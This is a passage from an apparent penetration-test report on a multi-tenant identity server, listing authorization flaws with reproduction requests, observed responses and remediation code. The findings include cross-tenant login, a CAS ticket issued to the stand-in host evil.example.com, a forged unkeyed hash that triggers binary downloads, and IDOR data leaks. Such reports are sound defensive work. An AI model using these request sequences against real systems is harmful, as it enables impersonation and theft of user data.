Observed vulnerable behavior: response returns status: `"ok"` with 657–659 records spanning organizations `{"", "built-in", "niro-alpha", "anonymous", "niro-beta"}`. 72 of these records belong to `niro-beta`, e.g.:

```
{"organization": "niro-beta", "clientId": "172.18.0.1", "user": "admin", "requestUri": "/api/login", "action": "login", "object": {"application": "app-niro-beta", ..., "username": "admin", ...}}
```

This includes other tenants' login events (username, source IP, timestamp) and other API calls (e.g. `invoice-payment` requests carrying payment identifiers) that `niro-alpha/admin` has no authorization to view.

3. Repeat step 2 a second time to confirm reproducibility — second run again returned 659 records across all 5 organizations, including the same 72 `niro-beta` records.
4. Contrast: calling the same endpoint WITH pagination params (`GET /api/get-records?pageSize=10&p=1`) using the identical session correctly scopes results to only `organization == "niro-alpha"`, proving the org-filter logic exists but is applied only on the paginated code path, not the default one.

RECOMMENDED REMEDIATION

In `controllers/record.go`, `GetRecords` currently branches on whether `pageSize/p` are both present: only the paginated branch builds `filterRecord := &object.Record{Organization: organization}` and passes it into the query. The unpaginated branch calls `object.GetRecords()` (`object/record.go:178-184`), which runs `ormer.Engine.Desc("id").Find(&records)` with no filter at all.

Fix at the call site: always scope by the caller's organization unless the caller is the global built-in admin. Concretely, add an `object.GetRecordsByOrganization(organization)` path (mirroring the existing paginated filter) and call it from the unpaginated branch too, e.g.:

```
if requestUserId's organization != "built-in admin" (or use the existing isGlobalAdmin check already used elsewhere in this file) {
    records = object.GetRecordsByOrganization(organization)
} else {
    records = object.GetRecords()
}
```

Alternatively, always pass a `filterRecord` with `Organization: organization` into `object.GetRecords()` (adding an `org` parameter to that function) so both the paginated and unpaginated paths share one org-scoped query, with an explicit bypass only for the verified global admin.

F-20 [HIGH] Login endpoint does not restrict application access to its own organization's members

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

A valid user of any organization can log in through an application configured for a different organization and get a live, fully-authenticated session scoped to that foreign application, because the login handler never checks the application belongs to the user's organization. This breaks application scoping, letting one tenant's users authenticate into an app meant to trust only another tenant.

REPRODUCTION STEPS

1. Use credential TENANT_BETA_BOB (identifier niro-beta/bob), a standard user belonging only to organization niro-beta.
2. Send a login request to the alpha-only application, but pass bob's real niro-beta organization and password:

```
curl -X POST http://127.0.0.1:18000/api/login \
-H 'Content-Type: application/json' \
-d '{"application":"app-niro-alpha","organization":"niro-beta","username":"bob","password":
"<TENANT_BETA_BOB password>","signInMethod":"Password","type":"login"}' \
-c cookies.txt
```

Expected secure response: an error (e.g. "application app-niro-alpha does not belong to organization niro-beta" or equivalent 4xx), because app-niro-alpha is provisioned exclusively for organization niro-alpha.

Observed vulnerable response:

```
{"status":"ok","msg":"","data":"niro-beta/bob","data2":null,"data3":false}
```

A working session cookie is issued. 3. Use the returned cookie to call GET /api/get-account:

```
curl -b cookies.txt http://127.0.0.1:18000/api/get-account
```

Observed: {"status":"ok",..., "data":{"owner":"niro-beta", "name":"bob",..., "accessToken":"<valid JWT>,...}} — a fully live, working session for niro-beta/bob, obtained through the application record owned exclusively by niro-alpha. 4. Repeated the same request twice (both succeeded identically) and reproduced the reverse direction: credential STANDARD_ALICE (identifier niro-alpha/alice) logging in with {"application":"app-niro-beta", "organization":"niro-alpha", "username":"alice",...} also returned {"status":"ok", "data":"niro-alpha/alice"} with a working session on app-niro-beta (owned by niro-beta).

Root cause (controllers/auth.go Login()): the handler resolves application from authForm.Application and separately calls object.CheckUserPassword(authForm.Organization, authForm.Username, ...) using the client-supplied authForm.Organization, without ever asserting application.Organization == authForm.Organization (except for the explicit "shared application" case). object.CheckLoginPermission() (object/check.go ~line 598) only evaluates permission policies scoped to application.Organization or the user's own org, and never rejects a login purely because the authenticated user's organization differs from the target application's configured organization.

RECOMMENDED REMEDIATION

In `controllers/auth.go Login()`, after resolving `application` (via `object.GetApplication(...)` using `authForm.Application`) and before calling `object.CheckUserPassword(authForm.Organization, authForm.Username, ...)`, add an explicit tenant-scope check: if `!application.IsShared` (or whatever field marks a cross-org/shared application) then reject the request unless `application.Organization == authForm.Organization`, returning the same generic auth-failure response used for bad credentials (avoid a distinct error message that would leak which organizations exist). This mirrors the fix needed in `Signup()` for the sibling cross-tenant signup finding — both entry points must independently enforce `application.Organization == authForm.Organization` before touching `object.CheckUserPassword/`
`object.CheckLoginPermission`, since `CheckLoginPermission` alone does not perform this check for non-shared applications.

F-21 [HIGH] CAS ticket issuance ignores the registered redirect-URI allow list enforced at pre-login check

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

A user lured into a normal CAS login through an attacker-crafted link with an arbitrary service URL causes the server to mint a valid, verifiable CAS ticket bound to the attacker's unregistered domain. Redeeming it discloses the victim's email, phone, and password salt, and lets the attacker impersonate the victim at any relying party that trusts this server's ticket validation.

REPRODUCTION STEPS

Preconditions: valid credentials for a standard user in organization niro-alpha, application app-niro-alpha (credential STANDARD_BOB, identifier niro-alpha/bob). Target: `http://127.0.0.1:18000`. The application's only registered `redirectUri` entry is `http://localhost:19001/callback`; `https://evil.example.com/harvest` is not registered.

1. Confirm the pre-login check enforces the allow list (expected secure behavior, and observed as such):

```
GET /api/get-app-login?type=cas&id=admin/app-niro-alpha&redirectUri=https://evil.example.com/harvest
```

Response: HTTP 200 {"status": "error", "msg": "Redirect URI: https://evil.example.com/harvest doesn't exist in the allowed Redirect URI list"}.

2. Perform the actual CAS login against the unregistered service, which a properly-defended system should reject with the same "not in allowed Redirect URI list" error:

```
POST /api/login?service=https://evil.example.com/harvest
Content-Type: application/json

{"application": "app-niro-alpha", "organization": "niro-alpha", "username": "bob", "password": "<STANDARD_BOB secret>", "signinMethod": "Password", "type": "cas", "autoSignin": true}
```

Observed vulnerable response: HTTP 200 {"status": "ok", "msg": "", "data": "ST-7470819702826586384"} — a real service ticket issued for the unregistered service, no allow-list error.

3. Redeem the ticket:

```
GET /cas/niro-alpha/app-niro-alpha/serviceValidate?service=https://evil.example.com/harvest&ticket=ST-7470819702826586384&format=json
```

Observed response: HTTP 200 with a full authenticationSuccess for user bob, including Email: niro-alpha-bob@example.test, Phone: 15555550102, DisplayName: Niro Alpha Bob, and a UserAttributes list containing passwordSalt: 3aa060728ce759ad7e55 and other profile fields.

Repeated the full sequence a second time with fresh credentials and got a second valid ticket (ST-9020795646512844678) that validated identically, confirming reproducibility.

RECOMMENDED REMEDIATION

In `controllers/auth.go`, the `HandleLoggedIn` function's `form.Type == ResponseTypeCas` branch reads `service := c.Ctx.Input.Query("service")` and calls `object.GenerateCasToken(userId, service)` directly, skipping the allow-list check that `GetApplicationLogin` performs via `object.CheckCasLogin(application, lang, service)` (which itself calls `IsRedirectUriValid`). Add the same validation before issuing the ticket: after resolving application for the login request and before calling `GenerateCasToken`, call `object.CheckCasLogin(application, lang, service)` (or directly `object.IsRedirectUriValid(application, service)`) and return the existing "Redirect URI ... doesn't exist in the allowed Redirect URI list" error response if it fails, mirroring the check already present in `GetApplicationLogin`. This keeps ticket issuance and the pre-login informational check consistent without adding new validation logic.

F-22 [MEDIUM] Org-tenant admins can read platform-wide Prometheus metrics exposing other tenants' raw request paths and resource IDs

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

Any organization admin — not just the global admin — can read unfiltered, platform-wide API telemetry: every recent request path from every tenant, with tenant names and embedded resource identifiers (order/payment IDs, server names) in plaintext, plus call counts and latency for sensitive endpoints system-wide. This is cross-tenant operational metadata for reconnaissance, not credentials.

REPRODUCTION STEPS

Preconditions: two organization-admin accounts in different tenants — TENANT_ALPHA_ADMIN (identifier `niro-alpha/admin`) and TENANT_BETA_ADMIN (identifier `niro-beta/admin`) — neither is the global/built-in admin.

1. Log in as TENANT_ALPHA_ADMIN:

```
POST /api/login
{"application":"app-niro-alpha","organization":"niro-alpha","username":"admin","password":"<TENANT_ALPHA_ADMIN secret>","type":"login","signinMethod":"Password"}
```

Save the returned session cookie (`alpha_cookies`).

2. As `alpha_cookies`, trigger a request whose URL path embeds a fresh, unique tenant-specific resource identifier:

```
curl -b alpha_cookies -X POST
"http://127.0.0.1:18000/api/notify-payment/niro-alpha/pentestmk1_1786993487_20211"
```

(200 OK — endpoint just records the call.)

3. Log in as TENANT_BETA_ADMIN (identifier `niro-beta/admin`, a fully separate tenant, still not global admin) and call:

```
curl -b beta_cookies "http://127.0.0.1:18000/api/get-prometheus-info"
```

4. Expected secure behavior: this endpoint should either require the global admin, or scope returned metrics to the caller's own organization, so `niro-beta/admin` gets nothing about `niro-alpha`.
5. Observed vulnerable behavior: HTTP 200 with a JSON body whose `apiLatency` array contains, verbatim:

```
{"method":"POST","name":"/api/notify-payment/niro-alpha/pentestmk1_1786993487_20211","count":1,"latency":"..."}
```

— i.e. `niro-beta/admin` can read a resource identifier and API call belonging exclusively to `niro-alpha`. The response also lists call counts/latencies for every other endpoint on the platform (login, add-user, set-password, add-permission, faceid-signin-begin, etc.) with zero per-tenant filtering.

6. Repeated the full sequence a second time with a new marker (`pentestmk2_1786993488_15194`) — same result: leaked into TENANT_BETA_ADMIN's response.
7. Control check confirming the gap is specifically "org-admin vs global-admin," not "any authenticated user": a non-admin (`STANDARD_ALICE`, `niro-alpha/alice`) gets `{"status":"error","msg":"this operation requires administrator to perform"}`, and an unauthenticated caller gets `{"status":"error","msg":"Please login first"}`. Only the admin-role check is too broad — it accepts any tenant's `isAdmin=true` user instead of the global admin.

RECOMMENDED REMEDIATION

In `controllers/prometheus.go`, `GetPrometheusInfo` currently gates on `c.RequireAdmin()` (`controllers/util.go`), which passes for any user with `IsAdmin==true` in their own organization. Two independent fixes are needed:

1. Require the global admin specifically for this endpoint — use the existing `RequireGlobalAdmin()` style check (or add one if absent, checking `user.Owner == "built-in"/global-admin` flag) instead of `RequireAdmin()`, since this data spans all organizations.
2. Regardless of (1), `object.GetPrometheusInfo` should not aggregate raw request paths across all tenants without scoping: filter/strip the owner segment from `apiThroughput/apiLatency` entries, or bucket by normalized route template rather than literal path (so tenant-specific resource IDs like `/api/notify-payment/{owner}/{payment}` never appear verbatim), and if a per-organization view is desired, filter entries by the caller's `user.Owner` before returning.
3. Also remove or scope the blanket whitelist entry `p, *, *, GET, /api/get-prometheus-info, *, *` in `authz/authz.go`'s default policy so the per-tenant `subOwner==objOwner` check in `IsAllowed` isn't bypassed for this route once ownership scoping is added.

F-23 [MEDIUM] Cross-tenant adapter access via mismatched id/adapterId parameters on GET /api/get-policies

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

An organization admin can bypass the policy-lookup tenant check by pairing a same-org id with another org's `adapterId`, making the server load that organization's database-adapter record and dial its stored host using the stored credentials — enabling blind internal-host probing, thread exhaustion, and adapter-existence checks. No adapter credentials or policies are returned.

REPRODUCTION STEPS

Preconditions: authenticate as TENANT_ALPHA_ADMIN (niro-alpha/admin) via POST /api/login with application=app-niro-alpha, organization=niro-alpha, signInMethod=Password, type=login; keep the session cookie. Authenticate separately as TENANT_BETA_ADMIN (niro-beta/admin, application=app-niro-beta, organization=niro-beta) to create victim fixtures.

1. As TENANT_BETA_ADMIN, create a private adapter in niro-beta holding real-looking DB credentials:

```
POST /api/add-adapter
{"owner":"niro-beta","name":"beta-secret-adapter","table":"casbin_rule","useSameDb":true,
"type":"database","databaseType":"mysql","host":"internal-beta-db.example.com","port":3306,
"user":"beta_db_user","password":"beta_super_secret_pw","database":"beta_casbin_db"}
```

→ {"status":"ok","data":"Affected"}.

2. Confirm tenant isolation holds for the intended, direct paths, as TENANT_ALPHA_ADMIN:

- GET /api/get-adapter?id=niro-beta/beta-secret-adapter → {"status":"error","msg":"Unauthorized operation"}
- GET /api/get-policies?id=%2F&adapterId=niro-beta/beta-secret-adapter (the code path the authz filter was written to protect) → {"status":"error","msg":"Unauthorized operation"}

3. Bypass: as TENANT_ALPHA_ADMIN, supply an id in the caller's own tenant (satisfies the authz filter's subOwner==objOwner check, which for this endpoint only inspects adapterId when id=="/") while pointing adapterId at the victim's adapter (which the handler, controllers/enforcer.go GetPolicies, prioritizes over id unconditionally):

```
GET /api/get-policies?id=niro-alpha/fake-enforcer&adapterId=niro-beta/beta-secret-adapter
```

→ {"status":"ok","data":null} — the tenant gate was passed, object.GetAdapter("niro-beta/beta-secret-adapter") succeeded, and adapter.InitAdapter() ran using niro-beta's stored credentials. Reproduced twice with identical {"status":"ok"} result.

4. Impact confirmation (blind network probe / thread exhaustion): as TENANT_BETA_ADMIN, add a second adapter pointing at an attacker-chosen unreachable host: {"owner":"niro-beta","name":"beta-external-adapter","useSameDb":false,"databaseType":"mysql","host":"10.255.255.1","port":33061,"user":"beta_db_user_e"}
As TENANT_ALPHA_ADMIN: GET /api/get-policies?id=niro-alpha/fake-enforcer2&adapterId=niro-beta/beta-external-adapter — the request blocks for 15+ seconds (client-side timeout hit) instead of returning immediately, proving the server actually opened a real outbound TCP connection attempt to the victim-org-configured host using the victim org's credentials, on behalf of an unrelated org's admin request, tying up a server request-handling thread.

Expected secure behavior: step 3 and step 4 should return {"status":"error","msg":"Unauthorized operation"} exactly like the direct get-adapter and id=/ control calls in step 2.

RECOMMENDED REMEDIATION

Fix the authz filter, `routers/authz_filter.go getObject()`, for `/api/get-policies`: it derives the checked owner/name from `adapterId` only when `id == "/"`; in every other case it ignores `adapterId` entirely even though the controller can act on it. Make the object derivation match what the controller will actually use: whenever `adapterId` is non-empty, always resolve the authz object from `adapterId` (via `util.GetOwnerAndNameFromIdWithError(adapterId)`) regardless of the value of `id`, e.g.

```
if ctx.Request.URL.Path == "/api/get-policies" {
    adapterId := ctx.Input.Query("adapterId")
    if adapterId != "" {
        return util.GetOwnerAndNameFromIdWithError(adapterId)
    }
    id := ctx.Input.Query("id")
    if id != "" {
        return util.GetOwnerAndNameFromIdWithError(id)
    }
}
```

This mirrors the priority the controller (`controllers/enforcer.go GetPolicies, if adapterId != "" { ... }`) before falling back to `id`) already gives `adapterId`, so the same parameter that drives the sensitive `object.GetAdapter/InitAdapter()` call is the one validated for tenant ownership.

F-24 [MEDIUM] Authorization deny gate for `/api/server/:owner/:name` fails open on malformed request bodies

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

An unauthenticated or unauthorized caller can slip past the MCP server-proxy's access-denied stage and reach the protected handler by sending a malformed request body, because the deny step returns without writing a response. No access to another org's server integration or its stored token was obtained — a second parser also rejects the input — but the deny boundary no longer stops execution.

REPRODUCTION STEPS

Setup: as GLOBAL_ADMIN (built-in/admin), create a server record owned by a different org than the attacker: POST /api/add-server with body {"owner":"niro-alpha","name":"test-mcp-server","url":"http://127.0.0.1:18000/api/health","token":"super-secret-token-123","application":"app-niro-alpha"}.

1. Confirm the baseline deny works: POST /api/server/niro-alpha/test-mcp-server with a well-formed JSON-RPC body {"id":1,"jsonrpc":"2.0","method":"ping","params":{}} sent both anonymously and as STANDARD_BOB (niro-alpha/bob, same-org non-admin). Both correctly return:

```
HTTP 401
{"jsonrpc":"2.0","id":1,"error":{"code":-32001,"message":"Unauthorized","data":"Unauthorized operation"}}
```

2. Send the identical unauthorized requests but with a body the authz filter's json.Unmarshal in denyMcpRequest() (routers/base.go) fails to parse — e.g. GET /api/server/niro-alpha/test-mcp-server with no body, or POST with body ""/"not-json"/"123". Expected secure behavior: still HTTP 401 with the same deny envelope, because authz.IsAllowed() already evaluated these callers as unauthorized. Observed instead, for both the anonymous caller and STANDARD_BOB:

```
HTTP 400
{"jsonrpc":"2.0","id":1,"error":{"code":-32700,"message":"Parse error","data":"unexpected end of JSON input"}}
```

This exact envelope (hardcoded id:1, code -32700, message "Parse error") is produced only by controllers/mcp_server.go's ProxyServer.McpResponseError(1, -32700, "Parse error", err.Error()) — proving the protected handler executed for a caller IsAllowed() denied, instead of the request being stopped at denyMcpRequest().

3. Root cause (routers/base.go denyMcpRequest): on json.Unmarshal error it runs ctx.Output.SetStatus(http.StatusBadRequest); return without ever calling ctx.Output.Body(...) or .JSON(...). Because no response bytes are written, Beego's filter chain does not consider the request "already answered" and proceeds to invoke ProxyServer anyway.
4. Reproduced twice for both the anonymous caller and STANDARD_BOB across six distinct malformed-body variants ("","[]","123","\"x\"","not-json", whitespace-only, and empty GET) with fully consistent results each run — not a fluke.

Current bound on impact: ProxyServer's own json.Unmarshal (into var mcpReq *mcpself.McpRequest) happens to error identically on these same malformed bytes and also returns before reaching proxy.ServeHTTP, so the upstream Bearer token is not leaked by these specific payloads. This is an incidental agreement between two independently-written parsers, not a designed control — the tested server has Tools unset, so any JSON-RPC method that parses successfully in ProxyServer (regardless of mcpReq.Method) reaches the reverse proxy and attaches Authorization: Bearer super-secret-token-123 to the upstream request. The authorization gate itself is proven not to stop handler execution; only a coincidence of matching parser errors currently prevents full token/traffic exposure.

RECOMMENDED REMEDIATION

In `routers/base.go denyMcpRequest()`, the `json.Unmarshal` error branch must write an actual response body before returning, the same way the other branches do, so Beego's filter chain treats the request as answered and never invokes the downstream controller. Replace:

```
if err != nil {
    ctx.Output.SetStatus(http.StatusBadRequest)
    return
}
```

with a call that emits a body, e.g. reuse the existing `mcpself.BuildMcpResponse` helper with a JSON-RPC parse-error envelope and `ctx.Output.JSON(...)`, mirroring the pattern already used a few lines below for the authorized-but-denied case:

```
if err != nil {
    resp := mcpself.BuildMcpResponse(1, nil, &mcpself.McpError{
        Code:    -32700,
        Message: "Parse error",
        Data:    err.Error(),
    })
    ctx.Output.SetStatus(http.StatusBadRequest)
    _ = ctx.Output.JSON(resp, true, false)
    return
}
```

This ensures every path out of `denyMcpRequest()` writes output, so the `BeforeRouter` filter chain always short-circuits before `ProxyServer` runs for a caller `authz.IsAllowed()` has denied — closing the fail-open gap regardless of whether `ProxyServer`'s own parser happens to agree.

F-25 [MEDIUM] Tenant org-admin can trigger server-wide Casbin CLI engine download/install via `/api/refresh-engines`

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

Any organization admin — a tenant-scoped role, not the platform's global administrator — can force the shared server to download and install Casbin CLI engine binaries server-wide, an operation meant only for the global admin. Every tenant admin can repeatedly trigger this unscoped binary refresh, affecting the shared server's binary state and availability for all tenants.

REPRODUCTION STEPS

Preconditions: credential `TENANT_ALPHA_ADMIN` (identifier `niro-alpha/admin`), an organization-scoped admin in tenant `niro-alpha` with `IsAdmin=true` but `IsGlobalAdmin=false`; credential `STANDARD_ALICE` (identifier `niro-alpha/alice`) used only as a negative control.

1. Log in as `TENANT_ALPHA_ADMIN`:

```
POST http://127.0.0.1:18000/api/login
Content-Type: application/json
{"application":"app-niro-alpha","organization":"niro-alpha","username":"admin","password":"<TENANT_ALPHA_ADMIN secret>","signinMethod":"Password","type":"login"}
```

Save the returned session cookie.

2. `POST /api/refresh-engines` requires query params `m` (sha256 hex) and `t` (RFC3339 timestamp) that the server recomputes with `sha256("casbin-editor-v1|"+t)` — no server-side secret key is involved, so any client can self-compute a valid pair:

```
import hashlib, datetime
ts = datetime.datetime.now(datetime.timezone.utc).isoformat(timespec='seconds').replace("+00:00", "Z")
h = hashlib.sha256(f"casbin-editor-v1|{ts}".encode()).hexdigest()
```

3. Using the `TENANT_ALPHA_ADMIN` session cookie, call:

```
POST http://127.0.0.1:18000/api/refresh-engines?m=<h>&t=<ts>
```

Expected secure response: `{"status":"error","msg":"Unauthorized operation"}` because `niro-alpha/admin` is a tenant-scoped admin, not the platform's global administrator.

Observed vulnerable response (HTTP 200), reproduced twice in separate runs:

```
{"status":"ok","data":{"message":"CLI engines updated successfully","status":"success"}}
```

This confirms the server actually executed `downloadCLI()` and refreshed the shared engine binaries on the application server.

4. Control: the identical forged request replayed with `STANDARD_ALICE` (`niro-alpha/alice`, no admin flag) returns `{"status":"error","msg":"Unauthorized operation"}`, proving the gate is admin-flag-based, and the flaw is specifically that org-level admin passes it.

Root cause (`controllers/cli_downloader.go RefreshEngines`, line ~450): `if !conf.IsDemoMode() && !c.IsAdmin() { ... }`. `c.IsAdmin()` (`controllers/base.go`) returns true for `isGlobalAdmin || user.IsAdmin`, i.e., any organization admin, not only the built-in global administrator (`c.IsGlobalAdmin()`), which checks only `user.IsGlobalAdmin()`.

RECOMMENDED REMEDIATION

In `controllers/cli_downloader.go`, `RefreshEngines` (around line 450), change the authorization gate from the org-scoped check to the global-only check, matching the operation's actual blast radius (a single, shared, server-wide binary refresh):

```
if !conf.IsDemoMode() && !c.IsGlobalAdmin() {  
    c.ResponseError(c.T("auth:Unauthorized operation"))  
    return  
}
```

`c.IsGlobalAdmin()` already exists in `controllers/base.go` and checks only `user.IsGlobalAdmin()`, excluding tenant-scoped `user.IsAdmin`. This is the same class of fix needed on `/api/run-casbin-command` (`controllers/casbin_cli_api.go`) but must be applied separately since it is a distinct handler/file.

Separately, the `m/t "identifier"` check (lines 455–483) provides no real protection since `sha256("casbin-editor-v1|"+timestamp)` uses no server-side secret — any client can self-compute a valid pair. If this pseudo-signature is meant to gate the endpoint at all (e.g., for demo-mode use), it should be computed with an HMAC using a server-held secret key instead of a plain, publicly-known hash.

F-26 [MEDIUM] Missing ownership check on POST /api/invoice-payment allows triggering invoicing on another user's payment

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

Any authenticated user of any tenant, or an unauthenticated caller, can trigger invoice generation on another user's payment and have the payment provider's `GetInvoice()` called with that victim's stored billing PII (name, ID card, email, phone); no invoice URL currently returns only because of an unrelated Dummy-provider bug, not an authorization control.

REPRODUCTION STEPS

Preconditions: a Paid payment owned by user `alice` in org `niro-alpha`. Reproduced twice independently, e.g. `niro-alpha/payment_20260817_190252_b94512b` and `niro-alpha/payment_20260817_190319_7d566e6`, both created via `STANDARD_ALICE` logging in, calling `POST /api/buy-product?id=niro-alpha/product_invtest&providerName=provider_payment_dummy&paymentEnv=PC` Browser, then marking paid via the unauthenticated `POST /api/notify-payment/niro-alpha/<paymentName>` webhook (an already-accepted trust boundary for the Dummy provider).

1. As a baseline, confirm the sibling read endpoint enforces ownership: `curl -b bob.jar "$BASE/api/get-payment?id=niro-alpha/<paymentName>"` returns `{"status": "error", "msg": "Forbidden"}` for `STANDARD_BOB` (same tenant, not the owner), and the same for `TENANT_BETA_ALICE` (different tenant). This is the expected secure behavior.
2. Send the invoice-generation request as a non-owner in the same tenant:

```
curl -b bob.jar -X POST "$BASE/api/invoice-payment?id=niro-alpha/<paymentName>"
```

Expected secure response: `{"status": "error", "msg": "Forbidden"}` (same as step 1). Observed: `{"status": "error", "msg": "failed to update the payment: <paymentName>"}` — this is the same downstream error the true owner `alice` receives, proving the request reached `object.InvoicePayment(payment)` and called the payment provider's `GetInvoice()` with `alice`'s stored `PersonName/PersonIdCard/PersonEmail/PersonPhone`, not a rejection.

3. Repeat with zero cookies (fully unauthenticated): `curl -X POST "$BASE/api/invoice-payment?id=niro-alpha/<paymentName>"` — same "failed to update the payment" error, i.e. reached the same code path.
4. Repeat as `TENANT_BETA_ALICE` (`niro-beta/alice`, a different tenant entirely): `curl -b betaalice.jar -X POST "$BASE/api/invoice-payment?id=niro-alpha/<paymentName>"` — same "failed to update the payment" error.
5. All three (steps 2–4) were confirmed on two independently created payments, always matching the owner's own error, never returning "Forbidden".

Root cause (`controllers/payment.go InvoicePayment()`): it calls `object.GetPayment(id)` then immediately `object.InvoicePayment(payment)`, with no ownership/admin check — contrast with `GetPayment()/GetUserPayments()` in the same file which check `payment.Owner != sessionUserOwner || payment.User != sessionUserName` and return "Forbidden". The route is also globally whitelisted in `authz/authz.go: p, *, *, POST, /api/invoice-payment, *, *`, so no subject restriction exists at the policy layer either.

Why every caller (including the true owner) gets an identical error in this environment: the configured `provider_payment_dummy`'s `GetInvoice()` always returns an empty `invoiceUrl`, and the target payment's `InvoiceUrl` field is already "", so `UpdatePayment's AllCols().Update()` changes 0 columns and `xorm` reports 0 rows affected, which `object.InvoicePayment()` treats as failure — this is an unrelated data/provider bug, not an authorization control, and it affects the legitimate owner identically.

RECOMMENDED REMEDIATION

In `controllers/payment.go`, add the same ownership/admin gate to `InvoicePayment()` that `GetPayment()` already uses, before calling `object.InvoicePayment(payment)`:

```
func (c *ApiController) InvoicePayment() {
    id := c.Ctx.Input.Query("id")

    payment, err := object.GetPayment(id)
    if err != nil {
        c.ResponseError(err.Error())
        return
    }

    if !c.IsAdmin() {
        sessionUser := c.GetSessionUsername()
        sessionUserOwner, sessionUserName, err := util.GetOwnerAndNameFromIdWithError(sessionUser)
        if err != nil {
            c.ResponseError(err.Error())
            return
        }
        if payment != nil && (payment.Owner != sessionUserOwner || payment.User != sessionUserName) {
            c.ResponseError("Forbidden")
            return
        }
    }

    invoiceUrl, err := object.InvoicePayment(payment)
    if err != nil {
        c.ResponseError(err.Error())
    }
    c.ResponseOk(invoiceUrl)
}
```

Additionally, tighten `authz/authz.go`'s policy for this route from the current wildcard (`p, *, *, POST, /api/invoice-payment, *, *`) to require an authenticated subject, consistent with `/api/get-payment` and `/api/get-user-payments`, so unauthenticated callers are rejected before reaching the controller at all.

F-27 [MEDIUM] Unauthenticated draft product leak via get-products without pagination

AFFECTED TARGET

`http://127.0.0.1:18000`

BUSINESS IMPACT

Any unauthenticated visitor can read every organizations unpublished Draft products including pre release product names prices and internal descriptions by calling the products list endpoint without pagination parameters bypassing the published filter the storefront UI relies on.

REPRODUCTION STEPS

Precondition organization niro-alpha has a product in state Draft created via TENANT_ALPHA_ADMIN niro-alpha slash admin using POST slash api slash add-product with body owner niro-alpha name product_alpha_draft_vec displayName Alpha Secret Draft Product VEC price 12345 detail unreleased internal draft state Draft.

1 As an unauthenticated client request GET slash api slash get-products with owner niro-alpha pageSize 10 p 1 field state value Published. Result only Published products returned Draft excluded correctly.

2 Same unauthenticated client request GET slash api slash get-products with owner niro-alpha only no pageSize no p no field no value. Result HTTP 200 with all products returned including the Draft product with full displayName detail and price 12345 and state Draft.

Reproduced twice same result both times fully unauthenticated no cookies sent.

Root cause in controllers slash product dot go function GetProducts when pageSize and p are empty the handler calls object dot GetProducts owner which does a plain Find with no state filter instead of object dot GetPaginationProducts which is the only path applying the Published filter. The authz policy allows GET api get-products for any unauthenticated subject.

RECOMMENDED REMEDIATION

Fix in controllers slash product dot go inside GetProducts. When limit or page is empty the handler currently calls object dot GetProducts owner and returns every row unconditionally. Change this branch so unauthenticated or non member callers only receive rows where State equals Published, mirroring the field value filter already supported by GetPaginationProducts. Concretely after fetching products with object dot GetProducts owner check whether the requesting session belongs to owner or is a global admin using the same session and permission helpers already used in this controller, and if not filter the returned slice down to entries whose State field equals Published before calling ResponseOk. Apply the same authorization based filtering inside GetPaginationProducts too instead of trusting the client supplied field and value query parameters so the guarantee holds even if the frontend forgets to send them.

F-28 [MEDIUM] Cross-tenant authorization data disclosure via userId parameter on get-all-roles/objects/actions

AFFECTED TARGET

<http://127.0.0.1:18000>

BUSINESS IMPACT

Any authenticated user, regardless of tenant or privilege, can read the role membership — and, where such data exists, the permitted objects and actions — of any user in any other organization by passing that user's id in the userId query parameter, bypassing the tenant-isolation checks enforced on the equivalent role endpoints. Impact is limited to authorization-metadata disclosure.

REPRODUCTION STEPS

Preconditions: STANDARD_BOB (niro-alpha/bob, non-admin standard user with no relationship to niro-beta) and GLOBAL_ADMIN (built-in/admin) sessions against http://127.0.0.1:18000.

1. As GLOBAL_ADMIN, seed a role in the unrelated tenant niro-beta assigned to niro-beta/alice to have concrete cross-tenant data to detect:

```
curl -s -b admin.jar -X POST 'http://127.0.0.1:18000/api/add-role' \
-H 'Content-Type: application/json' \
-d '{"owner":"niro-beta","name":"vector-crosstenant-role","displayName":"vector-crosstenant-role","users":["niro-beta/alice"],"roles":[]}'
```

Response: {"status":"ok","data":"Affected"}.

2. Log in as STANDARD_BOB (niro-alpha/bob, no admin flag, unrelated to niro-beta) and call the vulnerable endpoint supplying an arbitrary foreign-tenant user id:

```
curl -s -b bob.jar 'http://127.0.0.1:18000/api/get-all-roles?userId=niro-beta/alice'
```

Expected secure response: {"status":"error","msg":"Unauthorized operation"} (matching what the equivalently-scoped normal endpoints already return for this same session — see step 3).

Observed vulnerable response (reproduced identically on 2 separate runs):

```
{"status":"ok","msg":"","data":["vector-crosstenant-role"]}
```

Bob, a standard non-admin user with no relationship to niro-beta, retrieved niro-beta/alice's role membership.

3. Control check with the same bob.jar session, confirming the app does enforce tenant isolation on the equivalent owner-scoped endpoints, so get-all-roles is the outlier:

```
curl -s -b bob.jar 'http://127.0.0.1:18000/api/get-roles?owner=niro-beta'
curl -s -b bob.jar 'http://127.0.0.1:18000/api/get-role?id=niro-beta/vector-crosstenant-role'
```

Both return {"status":"error","msg":"Unauthorized operation"}.

Root cause (controllers/casbin_api.go, GetAllRoles/GetAllObjects/GetAllActions, lines ~316-383): each endpoint reads `userId := c.Ctx.Input.Query("userId")` and, when non-empty, passes it straight to `object.GetAllRoles(userId)/GetAllObjects/GetAllActions` with no check that `userId`'s owner matches the caller's own organization or that the caller has any admin/ownership relationship to that user. These three routes are also globally allow-listed in `authz/authz.go` (p, *, *, GET, /api/get-all-roles, *, * and identical rules for get-all-objects/get-all-actions), so the only gate is "some session exists" — unlike get-roles/get-role which correctly enforce owner/admin checks and returned Unauthorized operation for the identical session in step 3.

RECOMMENDED REMEDIATION

